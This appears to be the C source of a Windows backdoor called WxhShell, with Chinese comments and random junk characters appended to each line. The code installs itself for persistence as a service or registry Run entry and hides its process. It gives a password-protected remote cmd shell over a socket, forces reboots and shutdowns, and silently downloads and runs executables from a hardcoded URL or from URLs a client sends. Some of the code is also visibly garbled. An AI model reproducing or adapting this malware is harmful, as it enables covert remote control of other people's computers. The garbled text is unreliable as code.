    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `] fud{  
    if(Boot(SHUTDOWN)) qj.>4d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wx8oTN  
    else { q HU}EEv  
    closesocket(wsh); w=;Jj7}L  
    ExitThread(0); %&Fsk]T%:  
    } z+5ZUS2~&  
    break; `)aIFAW  
    } n)<S5P?  
  // 获取shell M+|J;caX  
  case 's': { DN X-\  
    CmdShell(wsh); 7Rq|N$y.3  
    closesocket(wsh); 5 LX'fL7zU  
    ExitThread(0); #^>Md59N  
    break; 15l{gbCW  
  } IG(1h+5 R(  
  // 退出 pzcl@  
  case 'x': { kq4ii`zi8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8mc0(Z@  
    CloseIt(wsh); dSP~R  
    break; h>a/3a$g  
    } ~+)sL1lx  
  // 离开 + g*s%^(E  
  case 'q': { <Pnz$nH:e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sb|9U8h  
    closesocket(wsh); >WZ_) `R  
    WSACleanup(); $sxm MP  
    exit(1); [Yyb)Qf  
    break; vVy X[ZZ  
        } p"dK,A5#)  
  } x|=]Xxco  
  } O;6am++M@  
qib4DT$v-6  
  // 提示信息 />dH\KvN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u}0U!  
} /\wm/Yx?S  
  } MXP3Z N'  
sy(8-zbI  
  return; DGJt$o=&@  
} |Bhj L,  
<tn6=IV  
// shell模块句柄 n7p,{KSQ  
int CmdShell(SOCKET sock) ?l/+*/AR;  
{ /l b"g_  
STARTUPINFO si; Ve9*>6i&-4  
ZeroMemory(&si,sizeof(si)); \s@7pM=(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 84f~.45  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0_f6Qrcj  
PROCESS_INFORMATION ProcessInfo;  N3m~nEj  
char cmdline[]="cmd"; it)!-[:bm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )KbzgmLr  
  return 0; 3$n O@rOS  
} aWk1D.  
>"|"Gy (  
// 自身启动模式 ^fqco9^;  
int StartFromService(void) y{#9&ct&  
{ 17ol %3 M  
typedef struct HxnWM\p  
{ sMDHg  
  DWORD ExitStatus; _0Z8V[  
  DWORD PebBaseAddress; wgcKeTD9  
  DWORD AffinityMask; &57s//PrX  
  DWORD BasePriority; @\?QZX(H  
  ULONG UniqueProcessId; 0ME.O +  
  ULONG InheritedFromUniqueProcessId; 2S@aG%-)  
}   PROCESS_BASIC_INFORMATION; gw_]Y^U  
I=c}6  
PROCNTQSIP NtQueryInformationProcess; RA3!k&8?#  
@UwDsx&2(t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ++|vy~T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XdV(=PS!a@  
D=_FrEM_IA  
  HANDLE             hProcess; ^77X?nDz=h  
  PROCESS_BASIC_INFORMATION pbi; %|o2d&i  
~&%&Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f}ES8 Hh[  
  if(NULL == hInst ) return 0; +2 x|j>  
:p0<AU47  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @w @SOzS)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %<rV~9:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TO]7%aB  
9~|hGo  
  if (!NtQueryInformationProcess) return 0; PCX X[N  
gbr-C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -P>up)p  
  if(!hProcess) return 0; VI(2/**  
*U:0c ;h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _@A%t&l  
c 0.? d]  
  CloseHandle(hProcess); !McRtxq?~  
`Qxdb1>mjY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .?dYY;P  
if(hProcess==NULL) return 0; b75en{aDi*  
t_NnQ4)=  
HMODULE hMod; u8N"i),  
char procName[255]; Xd@_:ds  
unsigned long cbNeeded; " LkI'>3}  
0`~#H1TK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0~=>:^H'`q  
JL:\\JT.  
  CloseHandle(hProcess); ,k+F8{Q.  
QQW]j;'~  
if(strstr(procName,"services")) return 1; // 以服务启动 oeF0t'%  
~Blsj9a2  
  return 0; // 注册表启动 9`|~- b  
} x2$Y"b?vz  
MgrJ ;?L  
// 主模块 B nu5\P  
int StartWxhshell(LPSTR lpCmdLine) 5169E*  
{ ;Sw % t(@  
  SOCKET wsl; >>R,P Ow-  
BOOL val=TRUE; 9 =zZ,dg  
  int port=0; 0s o27k  
  struct sockaddr_in door; t(r}jU=qw  
vI5'npM  
  if(wscfg.ws_autoins) Install(); Tp&7CNl|  
tXW7G@  
port=atoi(lpCmdLine); =BVBCh  
} U_z XuUz  
if(port<=0) port=wscfg.ws_port; $I4:g.gKpG  
Og/@w&  
  WSADATA data; .EdQ]c-E=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <}n"gk1is  
\\v1 \  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vQsI^p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gid6,J  
  door.sin_family = AF_INET; WOR H4h9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wpV)y Q^  
  door.sin_port = htons(port); ]Z=O+7(r  
! ~3zp L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "S^ ""5  
closesocket(wsl); g$9EI\a  
return 1; %Z!3[.%F  
} V m]u-R`{  
A#x_>fV  
  if(listen(wsl,2) == INVALID_SOCKET) { 6< @F  
closesocket(wsl); MwO`DrV  
return 1; zwJK|Sk  
} Cs?[   
  Wxhshell(wsl); Lf0Wc'9{  
  WSACleanup(); E`gUNAKQ  
-0:Equ?pz  
return 0; Eq/oq\(/6  
Tt+E?C%Y  
} gf^XqTLs  
"|6763.{4  
// 以NT服务方式启动 VB&`g<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6o=Q;Mezl  
{ _n=,H  
DWORD   status = 0; -E,p[Sp  
  DWORD   specificError = 0xfffffff; Jt|W%`X>D  
l#^weXSlk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "c*&~GSE4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r"_SL!,^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (^mpb  
  serviceStatus.dwWin32ExitCode     = 0; _}3NLAqg  
  serviceStatus.dwServiceSpecificExitCode = 0; 3JXKp k?   
  serviceStatus.dwCheckPoint       = 0; Kp?j\67S  
  serviceStatus.dwWaitHint       = 0; G * '1[Bu  
&N:`Rler  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NhF<2[mt  
  if (hServiceStatusHandle==0) return; {/}p"(^  
~LSD\+  
status = GetLastError(); iiD }2y b  
  if (status!=NO_ERROR) ZxU3)`O  
{ XI7:y4M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~%d*#Yxq  
    serviceStatus.dwCheckPoint       = 0; b|E1>TkY  
    serviceStatus.dwWaitHint       = 0; *7UDTgY  
    serviceStatus.dwWin32ExitCode     = status; -I*NS6  
    serviceStatus.dwServiceSpecificExitCode = specificError; '-NHu +  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d8% sGH  
    return; _>4Qh#6K  
  } @zi_@B  
tr-muhuK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dh.pH1ZY3n  
  serviceStatus.dwCheckPoint       = 0; Eq6. s)10  
  serviceStatus.dwWaitHint       = 0; X\HP&;Wd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); st-I7K\v  
} 87q~ nk  
bC0DzBnM;  
// 处理NT服务事件,比如:启动、停止 <0!)}O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,;~@t:!c  
{ E%vT(Kz  
switch(fdwControl) I W5N^J  
{ Dx>~^ ^<  
case SERVICE_CONTROL_STOP: *28:|blbL  
  serviceStatus.dwWin32ExitCode = 0; [E6ZmMB&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A`ScAzx5{  
  serviceStatus.dwCheckPoint   = 0; uG{/yJeU  
  serviceStatus.dwWaitHint     = 0; WN3]xw3  
  { DxJY{e9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0p[-M`D  
  } 4)+L(KyB2  
  return; !B:wzb_  
case SERVICE_CONTROL_PAUSE: +MvO+\/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rn5{s3?F~2  
  break;  YW'l),Z  
case SERVICE_CONTROL_CONTINUE: F|^tRL-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #S') i1 ;  
  break; U2kl-E:  
case SERVICE_CONTROL_INTERROGATE: thrv_^A  
  break; XG;Dj<Dm  
}; Dhzm C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KxUO=v<u  
} {D7v[P+  
,pR.HCR#Y  
// 标准应用程序主函数 QrRnXlE M8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |eEXCn3{  
{ =q?sB]n  
zsmlXyP'e!  
// 获取操作系统版本 1y7FvD~v  
OsIsNt=GetOsVer(); )A=&3Ui)ab  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M:d} P  
=v49[i  
  // 从命令行安装  MKZq*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1}"Prx-  
Bl/Z _@  
  // 下载执行文件 #bmbK{[  
if(wscfg.ws_downexe) { NNn sq@?6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k5o{mWI b  
  WinExec(wscfg.ws_filenam,SW_HIDE); }^]TUe@a  
} pfF2!`7pI  
!G~`5?CvE  
if(!OsIsNt) { hd~0qK  
// 如果时win9x,隐藏进程并且设置为注册表启动 bguTWI8bk  
HideProc(); f/UIpswrZ'  
StartWxhshell(lpCmdLine); prO ~g  
} IUSV\X9  
else j+NsNIJq  
  if(StartFromService()) -mqL[ h,  
  // 以服务方式启动 W~d^ *LZt  
  StartServiceCtrlDispatcher(DispatchTable); 3fdqFJ O  
else !]2`dp\!  
  // 普通方式启动 9Z lfY1=  
  StartWxhshell(lpCmdLine); $3yn-'o'A  
GyLp&aa  
return 0; cs7K^D;.V  
} G}#p4 \/  
:[!b";pR  
]Ia}H+&  
k4`(7Z  
=========================================== @ *n oma  
, ^@z;xF  
/f]'_t0\.  
)8 %lZ {  
!T$h? o  
@:K={AIa  
" $64sf?aZ>#  
?d`j}  
#include <stdio.h> 8<PQ31  
#include <string.h> 2g$;ZBHO|8  
#include <windows.h> -v{LT=,O  
#include <winsock2.h> =.2)wA"e'  
#include <winsvc.h> NQIbav^5  
#include <urlmon.h> QW= X#yrDO  
(R-(  
#pragma comment (lib, "Ws2_32.lib") h4N&Yb fo  
#pragma comment (lib, "urlmon.lib") ~en'E  
>\'gIIs  
#define MAX_USER   100 // 最大客户端连接数 jYE ?wc+FT  
#define BUF_SOCK   200 // sock buffer z4wG]]Kh*  
#define KEY_BUFF   255 // 输入 buffer iE,/x^&,&  
 7;$[s6$  
#define REBOOT     0   // 重启  %&pd`A/  
#define SHUTDOWN   1   // 关机 $<F9;Z  
I T gzD"d  
#define DEF_PORT   5000 // 监听端口 Yk=2ld;;  
@|d+T"f  
#define REG_LEN     16   // 注册表键长度 r;SOAucX  
#define SVC_LEN     80   // NT服务名长度 8om)A0S  
|DLmMsS4  
// 从dll定义API Oz-@e%8L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j71RlS73  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gIY]hC.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8DcIM(;Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _`+2e-  
A75z/O{  
// wxhshell配置信息 a}V<CBi  
struct WSCFG { x/uC)xm  
  int ws_port;         // 监听端口 O]80";Uv  
  char ws_passstr[REG_LEN]; // 口令 $aDkZj  
  int ws_autoins;       // 安装标记, 1=yes 0=no y4Lh:;  
  char ws_regname[REG_LEN]; // 注册表键名 tG*HUN?*  
  char ws_svcname[REG_LEN]; // 服务名 bj7r"_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1R"Z+tNB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g96]>]A<{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F&$~]R=&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /TY=ig1z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x bD]EC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g]jCR*]  
hGb SN_F  
}; G!E1N(%o  
,$bK)|pGV  
// default Wxhshell configuration u+qj_Ej  
struct WSCFG wscfg={DEF_PORT, SY$%)(c8kL  
    "xuhuanlingzhe", 8XD_p);Oy  
    1, |6 E !wW  
    "Wxhshell", ~RRS{\,  
    "Wxhshell", cS RmC  
            "WxhShell Service", StU9r0`  
    "Wrsky Windows CmdShell Service", ^ wb9n  
    "Please Input Your Password: ", ,L-G-V+  
  1, GU7f27p  
  "http://www.wrsky.com/wxhshell.exe", 495A\8#  
  "Wxhshell.exe" Y InPmR  
    }; 1;JH0~403  
a\tv,Lx  
// 消息定义模块 WP >VQZ&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t(Gg 1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n..R'vNj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !'*1;OQ  
char *msg_ws_ext="\n\rExit."; 3Uy(d,N  
char *msg_ws_end="\n\rQuit."; `gz/?q  
char *msg_ws_boot="\n\rReboot..."; _:+ k|I  
char *msg_ws_poff="\n\rShutdown..."; lf}%^od~6  
char *msg_ws_down="\n\rSave to "; %a|m[6+O  
i Ie{L-Na  
char *msg_ws_err="\n\rErr!"; "z4V@gk   
char *msg_ws_ok="\n\rOK!"; 'wVi>{?  
}ZJ*N Y  
char ExeFile[MAX_PATH]; A>%mJ3M  
int nUser = 0; \?"p]&2UcB  
HANDLE handles[MAX_USER]; qKk|2ecTB5  
int OsIsNt; |'](zEwq  
MS;^@>|wj  
SERVICE_STATUS       serviceStatus; F?XiP.`DR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U:uF rb,  
a]@BS6  
// 函数声明 fr<V])  
int Install(void); F.-:4m(Z  
int Uninstall(void); ^1;Eq>u  
int DownloadFile(char *sURL, SOCKET wsh); A$-\Er+f  
int Boot(int flag); e`zCz`R  
void HideProc(void); ,D2nUk  
int GetOsVer(void); +lZvj=gW  
int Wxhshell(SOCKET wsl); $lb$<  
void TalkWithClient(void *cs); (W5JVk_o  
int CmdShell(SOCKET sock); eu0j jeB  
int StartFromService(void); *{dMo,.eI  
int StartWxhshell(LPSTR lpCmdLine);  mT,#"k8  
t(p}0}Pp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V z-]H]MW,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `NCH^)  
-ju}I  
// 数据结构和表定义 U3BhoD#f\  
SERVICE_TABLE_ENTRY DispatchTable[] = @.} @K  
{ m.Ki4NUm  
{wscfg.ws_svcname, NTServiceMain}, lQ#='Jqfp  
{NULL, NULL} Zty9O8g  
}; 23/;W|   
naVbcY  
// 自我安装 v$#l]A_D  
int Install(void) 3|=L1Pw#  
{ c+501's  
  char svExeFile[MAX_PATH]; F"0=r  
  HKEY key; 0}N"L ml  
  strcpy(svExeFile,ExeFile); s f8F h  
_FkIg>s  
// 如果是win9x系统,修改注册表设为自启动 ._TN;tR~'  
if(!OsIsNt) { W{fNZb'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5=/j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fil6;R  
  RegCloseKey(key); 6mV^a kapv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&0 RQ:B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *vOk21z77d  
  RegCloseKey(key); Fhga^.5U&  
  return 0; czT]XF  
    } ]nq/y AF%  
  } ^xQPj6P}  
} 3<_=Vyf  
else { ^u> fW[ "[  
qK]Om6 a~  
// 如果是NT以上系统,安装为系统服务 AA0\C_W0p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z@v2t>@3k  
if (schSCManager!=0)  VM<$!Aaz  
{ 3,1HD_  
  SC_HANDLE schService = CreateService r0q?e`nsA  
  ( OM81$Xo=  
  schSCManager, iH8V]%  
  wscfg.ws_svcname, RaOLy \  
  wscfg.ws_svcdisp, ~L:H]_8F l  
  SERVICE_ALL_ACCESS, =s&ycc;-5}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y6m:d&p=}  
  SERVICE_AUTO_START, /xCX. C  
  SERVICE_ERROR_NORMAL, P DwBSj  
  svExeFile, jmF)iDvjuZ  
  NULL, CIj7' V  
  NULL, ]A:8x`z#F  
  NULL, 2YK2t<EO  
  NULL, =3EjD;2  
  NULL 'oF XNO  
  ); }#6~/ W  
  if (schService!=0) y7x*:xR[  
  { 6N[X:F 3`,  
  CloseServiceHandle(schService); fWyXy%Qq  
  CloseServiceHandle(schSCManager); h)Ol1[y`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zBc |gx  
  strcat(svExeFile,wscfg.ws_svcname); !o\e/HGc!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !,R=6b$E5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RLfB]\w  
  RegCloseKey(key); Xn02p,,  
  return 0; pO)5NbU  
    } kAq#cLprG  
  } 77-G*PI*I  
  CloseServiceHandle(schSCManager); p$mt&,p  
} KPA.5,ai  
} N v6=[_D  
qWD(rq+9  
return 1; O bc>f|l]  
} u}89v1._Jn  
q4Mv2SPT  
// 自我卸载 m .R**g  
int Uninstall(void) 0+/ew8~$  
{ }6gum  
  HKEY key; I.it4~]H  
%Z*N /nU  
if(!OsIsNt) { rTqGtmulG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z fu)X!t^  
  RegDeleteValue(key,wscfg.ws_regname); U:bnX51D4  
  RegCloseKey(key); )FN$Jlo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #3?}MC  
  RegDeleteValue(key,wscfg.ws_regname); D# gC-,  
  RegCloseKey(key); klnk{R.>|  
  return 0; S|F:[(WaM  
  } ^Hz1z_[X@  
} lN x7$z`  
} vsJDVJ +=  
else { <`WcI`IA b  
)r?- _qj=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sgRWjrc/  
if (schSCManager!=0) a%5/Oc[[  
{ + ]iK^y-.r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }ld^zyL  
  if (schService!=0) $g),|[ x+(  
  { `pF7B6[B  
  if(DeleteService(schService)!=0) { &Bqu2^^  
  CloseServiceHandle(schService);  HlEHk'  
  CloseServiceHandle(schSCManager); dSe d 6  
  return 0; l#Vg=zrT  
  } z0Z1J8Qq6.  
  CloseServiceHandle(schService); @2;cv?i)  
  } i8S=uJ]n  
  CloseServiceHandle(schSCManager); t%StBq(q  
} qfjUJ/  
} $W%-Mm  
D@kf^1G  
return 1; ;=WwJ Np~  
} '4CD }  
v-wZHkdd1  
// 从指定url下载文件 !j}L-1*{ l  
int DownloadFile(char *sURL, SOCKET wsh) M3r;Pdj2r  
{ VOIni<9y  
  HRESULT hr; eD7qc1*G  
char seps[]= "/"; mtdy@=?1Y  
char *token; rA E5.Q!u  
char *file; |a %Wd  
char myURL[MAX_PATH]; hzT)5'_  
char myFILE[MAX_PATH]; F|@\IVEB]  
Tgh?=]H  
strcpy(myURL,sURL); -hc8IS  
  token=strtok(myURL,seps); v0?SN>fZ  
  while(token!=NULL) vmh>|N4a7  
  { h1l%\3ZH  
    file=token; &x;n^W;#  
  token=strtok(NULL,seps); >P]gjYN  
  } xsiJI1/68  
<@Vf:`a!P>  
GetCurrentDirectory(MAX_PATH,myFILE); J4@-?xj=\q  
strcat(myFILE, "\\"); zQ#* O'-n  
strcat(myFILE, file); I?^(j;QpS  
  send(wsh,myFILE,strlen(myFILE),0); .h\Py[h<^  
send(wsh,"...",3,0); |>Fz:b d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (][-()YV  
  if(hr==S_OK) x=+>J$~Pb  
return 0; xP/q[7>#Q  
else g@T}h[  
return 1; #2Iag' 4T  
Sp*4Z`^je  
} e\O-5hp7  
#sxv?r  
// 系统电源模块 )@P*F) g~  
int Boot(int flag) C|h Uyo  
{ w*&vH/D  
  HANDLE hToken; Y B,c=Wx  
  TOKEN_PRIVILEGES tkp; kW1w;}n$  
@_7rd  
  if(OsIsNt) { Hp>L}5 y[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `- (<Q;iO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WIuYSt)h  
    tkp.PrivilegeCount = 1;  g[bu9i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :Z x|=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bE{Y K  
if(flag==REBOOT) { T]nAz<l),  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;FW <%  
  return 0; (\!?>T[En  
} paLPC&G  
else { x/wgD'?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lfre-pS+  
  return 0; p|8ZHR+  
} {f@Q&(g  
  } \KzJNCOT  
  else { /'5d0' ,M  
if(flag==REBOOT) { kD?@nx>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P|Gwt&  
  return 0; &GkD5b  
} .g1x$cQ1<  
else { L AH">E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SOn)'!g  
  return 0; Ie|5,qw E  
} GC'e  
} |xg_z&dX  
=5Nh}o(l?  
return 1; O ;[Mi  
} GM?s8yZ<  
aKWxLe  
// win9x进程隐藏模块 RRV%g!  
void HideProc(void) k!}(a0h  
{ 8A.7q  
EmR82^_:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .a7RGT3]m  
  if ( hKernel != NULL ) C=]<R< Xy  
  { MkL2I+*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _> x}MW+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0y+^{@lU  
    FreeLibrary(hKernel); @!u{>!~0  
  } b9m`y*My  
GqR|hg  
return; yNow hh  
} Z"%.  
euVDrJ^  
// 获取操作系统版本 C\~}ySQc.e  
int GetOsVer(void) yCav;ZS_  
{ `lWGwFgg(  
  OSVERSIONINFO winfo; I`H&b& .`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8V 4e\q  
  GetVersionEx(&winfo); rq4g~e!S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )#cZ& O  
  return 1; nq8XVT.m^\  
  else ()bQmNqmO=  
  return 0; kLF`6ZXtd  
} [rWBVfm  
=gD)j&~}_  
// 客户端句柄模块 X%j`rQk`  
int Wxhshell(SOCKET wsl) {H)hoAenA  
{ {+=hYB|&  
  SOCKET wsh; P.C?/7$7Z+  
  struct sockaddr_in client; |Z{#DOT  
  DWORD myID; ?d^6ynzn  
Nr~!5XO  
  while(nUser<MAX_USER) Wc2&3p9 c  
{ @#OL{yMy  
  int nSize=sizeof(client); 8=TC 3]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6?~9{0  
  if(wsh==INVALID_SOCKET) return 1; B=L!WGl<!  
( _6j@?u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GDSXBa*7  
if(handles[nUser]==0) +pwTM]bV  
  closesocket(wsh); " nCK%w=  
else n]`]gLF\i  
  nUser++; #Iv KI+"  
  } GdI,&| /  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ye9GBAj /  
2[ofz}k]r)  
  return 0; gBv!E9~l  
} [,,@>nyD  
$"W[e"Q  
// 关闭 socket {$hWz(  
void CloseIt(SOCKET wsh) nPdkvs   
{ i.uyfV&F  
closesocket(wsh); @jm+TW  
nUser--; @n?"*B  
ExitThread(0); &qG/\  
} KR?aL:RYb  
q,L>PN+W  
// 客户端请求句柄 5\C(2naf  
void TalkWithClient(void *cs)   8sG?|u  
{ [0y,K{8t  
Qe>_\-f  
  SOCKET wsh=(SOCKET)cs; VsL,t\67  
  char pwd[SVC_LEN]; G\dPGPPM  
  char cmd[KEY_BUFF]; e'A_4;~@s  
char chr[1]; BInSS*L  
int i,j; Lv['/!DJ|  
l`zh Kj  
  while (nUser < MAX_USER) { d{JI] !  
<<u]WsW{C  
if(wscfg.ws_passstr) { (m:Q'4Ep  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hS8M|_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T&dNjx  
  //ZeroMemory(pwd,KEY_BUFF); EQ,`6UT>  
      i=0; _>\33V-?b  
  while(i<SVC_LEN) { ElUFne=  
qsW&kW~  
  // 设置超时  ~d eS*  
  fd_set FdRead; syW[uXNLZ  
  struct timeval TimeOut; x5uz$g  
  FD_ZERO(&FdRead); X^N6s"2  
  FD_SET(wsh,&FdRead); J FnE{  
  TimeOut.tv_sec=8; ocWl]h].  
  TimeOut.tv_usec=0; a<q9~QS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f&4+-w.:V|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y EfAa6  
s(3u\#P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m_oUl(pk  
  pwd=chr[0]; _Sfu8k>):  
  if(chr[0]==0xd || chr[0]==0xa) { /C Xg$%\  
  pwd=0; -LRx}Mb9  
  break; ,.p 36ZLP  
  } Ve%ua]qA  
  i++; U<0Wa>3zj  
    } ,]wQ]fpt  
lwX9:[Z  
  // 如果是非法用户,关闭 socket !9PAfi?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .8^mA1fmX  
} z0 /+P  
Z40k>t D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nc:/GxP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g4=1['wW  
t;VMtIW+E  
while(1) { c=\_[G(  
wi7Br&bGi  
  ZeroMemory(cmd,KEY_BUFF); #~-Xt! I  
f|B\Y/*X  
      // 自动支持客户端 telnet标准   [k\VUg:P  
  j=0; sx=1pnP9`  
  while(j<KEY_BUFF) { 'uL$j=vB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !9 kNL  
  cmd[j]=chr[0]; |OF3O,5z  
  if(chr[0]==0xa || chr[0]==0xd) { W vB]Rs  
  cmd[j]=0; 6 :3Id  
  break; e8 ]CB  
  } F]6G<6T[  
  j++; I2CI9,0  
    } jy.L/s  
"r@#3T$  
  // 下载文件 5}hQIO&^%  
  if(strstr(cmd,"http://")) { qzxWv5UH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5A`>3w{3n  
  if(DownloadFile(cmd,wsh)) 0Sd>*nC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}l^B>Zz  
  else faRQj:R8  
